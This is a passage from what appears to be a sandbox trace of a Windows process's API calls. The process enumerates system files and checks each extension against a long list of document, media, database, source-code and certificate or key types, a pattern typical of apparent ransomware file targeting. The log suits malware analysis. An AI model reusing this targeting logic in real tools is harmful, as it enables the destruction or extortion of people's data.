nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.384] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.384] FindClose (in: hFindFile=0x4420fa0 | out: hFindFile=0x4420fa0) returned 1 [0175.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.384] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0175.384] lstrlenW (lpString="bootspaces.dll") returned 14 [0175.384] lstrlenW (lpString=".1cd") returned 4 [0175.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.384] lstrlenW (lpString=".3ds") returned 4 [0175.384] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0175.384] lstrlenW (lpString=".3fr") returned 4 [0175.384] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0175.384] lstrlenW (lpString=".3g2") returned 4 [0175.384] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0175.384] lstrlenW (lpString=".3gp") returned 4 [0175.384] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0175.384] lstrlenW (lpString=".7z") returned 3 [0175.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.384] lstrlenW (lpString=".accda") returned 6 [0175.384] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0175.384] lstrlenW (lpString=".accdb") returned 6 [0175.384] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0175.385] lstrlenW (lpString=".accdc") returned 6 [0175.385] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0175.385] lstrlenW (lpString=".accde") returned 6 [0175.385] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0175.385] lstrlenW (lpString=".accdt") returned 6 [0175.385] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0175.385] lstrlenW (lpString=".accdw") returned 6 [0175.385] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0175.385] lstrlenW (lpString=".adb") returned 4 [0175.385] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".adp") returned 4 [0175.385] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai") returned 3 [0175.385] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0175.385] lstrlenW (lpString=".ai3") returned 4 [0175.385] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai4") returned 4 [0175.385] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai5") returned 4 [0175.385] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai6") returned 4 [0175.385] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai7") returned 4 [0175.385] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".ai8") returned 4 [0175.385] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".anim") returned 5 [0175.385] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0175.385] lstrlenW (lpString=".arw") returned 4 [0175.385] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".as") returned 3 [0175.385] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0175.385] lstrlenW (lpString=".asa") returned 4 [0175.385] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0175.385] lstrlenW (lpString=".asc") returned 4 [0175.386] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".ascx") returned 5 [0175.386] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0175.386] lstrlenW (lpString=".asm") returned 4 [0175.386] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".asmx") returned 5 [0175.386] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0175.386] lstrlenW (lpString=".asp") returned 4 [0175.386] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".aspx") returned 5 [0175.386] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0175.386] lstrlenW (lpString=".asr") returned 4 [0175.386] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".asx") returned 4 [0175.386] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".avi") returned 4 [0175.386] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".avs") returned 4 [0175.386] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".backup") returned 7 [0175.386] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0175.386] lstrlenW (lpString=".bak") returned 4 [0175.386] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".bay") returned 4 [0175.386] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".bd") returned 3 [0175.386] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0175.386] lstrlenW (lpString=".bin") returned 4 [0175.386] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".bmp") returned 4 [0175.386] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".bz2") returned 4 [0175.386] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.386] lstrlenW (lpString=".c") returned 2 [0175.387] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0175.387] lstrlenW (lpString=".cdr") returned 4 [0175.387] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cer") returned 4 [0175.387] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cf") returned 3 [0175.387] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0175.387] lstrlenW (lpString=".cfc") returned 4 [0175.387] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cfm") returned 4 [0175.387] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cfml") returned 5 [0175.387] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0175.387] lstrlenW (lpString=".cfu") returned 4 [0175.387] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".chm") returned 4 [0175.387] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cin") returned 4 [0175.387] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".class") returned 6 [0175.387] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0175.387] lstrlenW (lpString=".clx") returned 4 [0175.387] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".config") returned 7 [0175.387] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0175.387] lstrlenW (lpString=".cpp") returned 4 [0175.387] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cr2") returned 4 [0175.387] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".crt") returned 4 [0175.387] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".crw") returned 4 [0175.387] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0175.387] lstrlenW (lpString=".cs") returned 3 [0175.387] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0175.388] lstrlenW (lpString=".css") returned 4 [0175.388] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".csv") returned 4 [0175.388] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".cub") returned 4 [0175.388] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dae") returned 4 [0175.388] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dat") returned 4 [0175.388] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".db") returned 3 [0175.388] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0175.388] lstrlenW (lpString=".dbf") returned 4 [0175.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dbx") returned 4 [0175.388] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dc3") returned 4 [0175.388] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dcm") returned 4 [0175.388] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dcr") returned 4 [0175.388] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".der") returned 4 [0175.388] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dib") returned 4 [0175.388] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dic") returned 4 [0175.388] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".dif") returned 4 [0175.388] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0175.388] lstrlenW (lpString=".divx") returned 5 [0175.388] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0175.388] lstrlenW (lpString=".djvu") returned 5 [0175.388] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0175.388] lstrlenW (lpString=".dng") returned 4 [0175.389] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".doc") returned 4 [0175.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".docm") returned 5 [0175.389] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0175.389] lstrlenW (lpString=".docx") returned 5 [0175.389] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.389] lstrlenW (lpString=".dot") returned 4 [0175.389] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dotm") returned 5 [0175.389] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0175.389] lstrlenW (lpString=".dotx") returned 5 [0175.389] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0175.389] lstrlenW (lpString=".dpx") returned 4 [0175.389] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dqy") returned 4 [0175.389] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dsn") returned 4 [0175.389] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dt") returned 3 [0175.389] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0175.389] lstrlenW (lpString=".dtd") returned 4 [0175.389] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dwg") returned 4 [0175.389] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dwt") returned 4 [0175.389] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".dx") returned 3 [0175.389] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0175.389] lstrlenW (lpString=".dxf") returned 4 [0175.389] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".edml") returned 5 [0175.389] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0175.389] lstrlenW (lpString=".efd") returned 4 [0175.389] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0175.389] lstrlenW (lpString=".elf") returned 4 [0175.390] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".emf") returned 4 [0175.390] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".emz") returned 4 [0175.390] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".epf") returned 4 [0175.390] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".eps") returned 4 [0175.390] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".epsf") returned 5 [0175.390] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0175.390] lstrlenW (lpString=".epsp") returned 5 [0175.390] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0175.390] lstrlenW (lpString=".erf") returned 4 [0175.390] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0175.390] lstrlenW (lpString=".exr") returned 4 [0175.390] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".f4v") returned 4 [0175.604] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".fido") returned 5 [0175.604] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0175.604] lstrlenW (lpString=".flm") returned 4 [0175.604] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".flv") returned 4 [0175.604] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".frm") returned 4 [0175.604] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".fxg") returned 4 [0175.604] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".geo") returned 4 [0175.604] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".gif") returned 4 [0175.604] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".grs") returned 4 [0175.604] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".gz") returned 3 [0175.604] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0175.604] lstrlenW (lpString=".h") returned 2 [0175.604] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0175.604] lstrlenW (lpString=".hdr") returned 4 [0175.604] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".hpp") returned 4 [0175.604] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".hta") returned 4 [0175.604] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".htc") returned 4 [0175.604] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".htm") returned 4 [0175.604] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0175.604] lstrlenW (lpString=".html") returned 5 [0175.605] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0175.605] lstrlenW (lpString=".icb") returned 4 [0175.605] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".ics") returned 4 [0175.605] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".iff") returned 4 [0175.605] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".inc") returned 4 [0175.605] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".indd") returned 5 [0175.605] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0175.605] lstrlenW (lpString=".ini") returned 4 [0175.605] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".iqy") returned 4 [0175.605] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".j2c") returned 4 [0175.605] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".j2k") returned 4 [0175.605] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".java") returned 5 [0175.605] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0175.605] lstrlenW (lpString=".jp2") returned 4 [0175.605] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".jpc") returned 4 [0175.605] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".jpe") returned 4 [0175.605] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".jpeg") returned 5 [0175.605] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0175.605] lstrlenW (lpString=".jpf") returned 4 [0175.605] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".jpg") returned 4 [0175.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.605] lstrlenW (lpString=".jpx") returned 4 [0175.605] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".js") returned 3 [0175.606] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0175.606] lstrlenW (lpString=".jsf") returned 4 [0175.606] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".json") returned 5 [0175.606] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0175.606] lstrlenW (lpString=".jsp") returned 4 [0175.606] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".kdc") returned 4 [0175.606] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".kmz") returned 4 [0175.606] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".kwm") returned 4 [0175.606] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".lasso") returned 6 [0175.606] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0175.606] lstrlenW (lpString=".lbi") returned 4 [0175.606] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".lgf") returned 4 [0175.606] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".lgp") returned 4 [0175.606] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".log") returned 4 [0175.606] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".m1v") returned 4 [0175.606] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".m4a") returned 4 [0175.606] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".m4v") returned 4 [0175.606] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".max") returned 4 [0175.606] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0175.606] lstrlenW (lpString=".md") returned 3 [0175.607] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0175.607] lstrlenW (lpString=".mda") returned 4 [0175.607] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mdb") returned 4 [0175.607] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mde") returned 4 [0175.607] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mdf") returned 4 [0175.607] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mdw") returned 4 [0175.607] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mef") returned 4 [0175.607] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mft") returned 4 [0175.607] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mfw") returned 4 [0175.607] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mht") returned 4 [0175.607] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mhtml") returned 6 [0175.607] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0175.607] lstrlenW (lpString=".mka") returned 4 [0175.607] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mkidx") returned 6 [0175.607] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0175.607] lstrlenW (lpString=".mkv") returned 4 [0175.607] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mos") returned 4 [0175.607] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mov") returned 4 [0175.607] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mp3") returned 4 [0175.607] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0175.607] lstrlenW (lpString=".mp4") returned 4 [0175.607] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0175.608] lstrlenW (lpString=".mpeg") returned 5 [0175.608] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0175.608] lstrlenW (lpString=".mpg") returned 4 [0175.608] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0175.608] lstrlenW (lpString=".mpv") returned 4 [0175.608] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0175.608] lstrlenW (lpString=".mrw") returned 4 [0175.608] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0175.608] lstrlenW (lpString=".msg") returned 4 [0175.608] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".mxl") returned 4 [0175.609] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".myd") returned 4 [0175.609] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".myi") returned 4 [0175.609] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".nef") returned 4 [0175.609] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".nrw") returned 4 [0175.609] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".obj") returned 4 [0175.609] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".odb") returned 4 [0175.609] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".odc") returned 4 [0175.609] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".odm") returned 4 [0175.609] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".odp") returned 4 [0175.609] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".ods") returned 4 [0175.609] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".oft") returned 4 [0175.609] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".one") returned 4 [0175.609] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0175.609] lstrlenW (lpString=".onepkg") returned 7 [0175.609] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0175.609] lstrlenW (lpString=".onetoc2") returned 8 [0175.609] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1 [0175.609] lstrlenW (lpString=".opt") returned 4 [0175.610] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".oqy") returned 4 [0175.610] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".orf") returned 4 [0175.610] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".p12") returned 4 [0175.610] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".p7b") returned 4 [0175.610] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".p7c") returned 4 [0175.610] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pam") returned 4 [0175.610] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pbm") returned 4 [0175.610] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pct") returned 4 [0175.610] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pcx") returned 4 [0175.610] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pdd") returned 4 [0175.610] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pdf") returned 4 [0175.610] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pdp") returned 4 [0175.610] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pef") returned 4 [0175.610] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pem") returned 4 [0175.610] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pff") returned 4 [0175.610] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pfm") returned 4 [0175.610] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0175.610] lstrlenW (lpString=".pfx") returned 4 [0175.611] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".pgm") returned 4 [0175.611] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".php") returned 4 [0175.611] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".php3") returned 5 [0175.611] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0175.611] lstrlenW (lpString=".php4") returned 5 [0175.611] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0175.611] lstrlenW (lpString=".php5") returned 5 [0175.611] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0175.611] lstrlenW (lpString=".phtml") returned 6 [0175.611] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0175.611] lstrlenW (lpString=".pict") returned 5 [0175.611] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0175.611] lstrlenW 